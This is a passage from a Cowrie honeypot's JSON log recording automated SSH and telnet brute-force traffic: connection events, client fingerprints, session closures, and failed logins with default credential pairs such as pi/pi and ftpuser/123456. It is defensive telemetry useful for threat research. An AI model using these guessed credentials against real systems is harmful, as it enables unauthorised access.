a","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.612500Z","src_ip":"42.200.78.78","session":"c4cd1ad9f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.708830Z","src_ip":"103.98.149.87","session":"0f0b94c31828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50594,"dst_ip":"159.203.135.109","dst_port":22,"session":"71dc262ba9ba","protocol":"ssh","message":"New connection: 45.156.87.204:50594 (159.203.135.109:22) [session: 71dc262ba9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.780404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.784957Z","src_ip":"45.156.87.204","session":"71dc262ba9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.862602Z","src_ip":"94.26.106.229","session":"74d920297df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.867543Z","src_ip":"45.156.87.204","session":"71dc262ba9ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:38.511971Z","src_ip":"42.200.78.78","session":"c4cd1ad9f6b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:38.521570Z","src_ip":"45.156.87.204","session":"71dc262ba9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34658,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ccb9c6ce0c6","protocol":"ssh","message":"New connection: 94.26.106.229:34658 (159.203.135.109:22) [session: 8ccb9c6ce0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.020288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.024610Z","src_ip":"94.26.106.229","session":"8ccb9c6ce0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.107146Z","src_ip":"94.26.106.229","session":"8ccb9c6ce0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"password","message":"login attempt [demo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.360601Z","src_ip":"94.26.106.229","session":"8ccb9c6ce0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.607378Z","src_ip":"45.156.87.204","session":"71dc262ba9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:39.729057Z","src_ip":"42.200.78.78","session":"c4cd1ad9f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:40.446720Z","src_ip":"94.26.106.229","session":"8ccb9c6ce0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":38972,"dst_ip":"159.203.135.109","dst_port":22,"session":"acba01362820","protocol":"ssh","message":"New connection: 47.237.167.49:38972 (159.203.135.109:22) [session: acba01362820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:40.882480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:40.888009Z","src_ip":"47.237.167.49","session":"acba01362820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.82476234436035,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:40.971416Z","src_ip":"152.42.224.71","session":"86fb16f1b07d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34371733665466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.037335Z","src_ip":"152.42.224.71","session":"bd240b621a47","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.129523Z","src_ip":"47.237.167.49","session":"acba01362820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34672,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f4ab3e7aa7","protocol":"ssh","message":"New connection: 94.26.106.229:34672 (159.203.135.109:22) [session: d4f4ab3e7aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.171589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.178388Z","src_ip":"94.26.106.229","session":"d4f4ab3e7aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.262777Z","src_ip":"94.26.106.229","session":"d4f4ab3e7aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.517359Z","src_ip":"94.26.106.229","session":"d4f4ab3e7aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50606,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d1d5af12bbb","protocol":"ssh","message":"New connection: 45.156.87.204:50606 (159.203.135.109:22) [session: 5d1d5af12bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.635965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.639679Z","src_ip":"45.156.87.204","session":"5d1d5af12bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.721110Z","src_ip":"45.156.87.204","session":"5d1d5af12bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:41.967283Z","src_ip":"45.156.87.204","session":"5d1d5af12bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2862ec2fc83e","protocol":"telnet","message":"New connection: 152.42.224.71:59826 (10.17.0.5:23) [session: 2862ec2fc83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:42.577796Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:42.604621Z","src_ip":"94.26.106.229","session":"d4f4ab3e7aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:43.058646Z","src_ip":"45.156.87.204","session":"5d1d5af12bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34326,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3d5b8abc945","protocol":"ssh","message":"New connection: 45.156.87.204:34326 (159.203.135.109:22) [session: d3d5b8abc945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:45.127762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:45.132712Z","src_ip":"45.156.87.204","session":"d3d5b8abc945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:45.216645Z","src_ip":"45.156.87.204","session":"d3d5b8abc945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:45.480289Z","src_ip":"45.156.87.204","session":"d3d5b8abc945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:46.564956Z","src_ip":"45.156.87.204","session":"d3d5b8abc945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34340,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed595fc97a6","protocol":"ssh","message":"New connection: 45.156.87.204:34340 (159.203.135.109:22) [session: 0ed595fc97a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:48.951053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:48.956059Z","src_ip":"45.156.87.204","session":"0ed595fc97a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:49.039016Z","src_ip":"45.156.87.204","session":"0ed595fc97a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:49.286371Z","src_ip":"45.156.87.204","session":"0ed595fc97a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:50.373040Z","src_ip":"45.156.87.204","session":"0ed595fc97a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50532,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d66c8dc8aff","protocol":"ssh","message":"New connection: 45.156.87.204:50532 (159.203.135.109:22) [session: 7d66c8dc8aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:52.549733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:52.556360Z","src_ip":"45.156.87.204","session":"7d66c8dc8aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 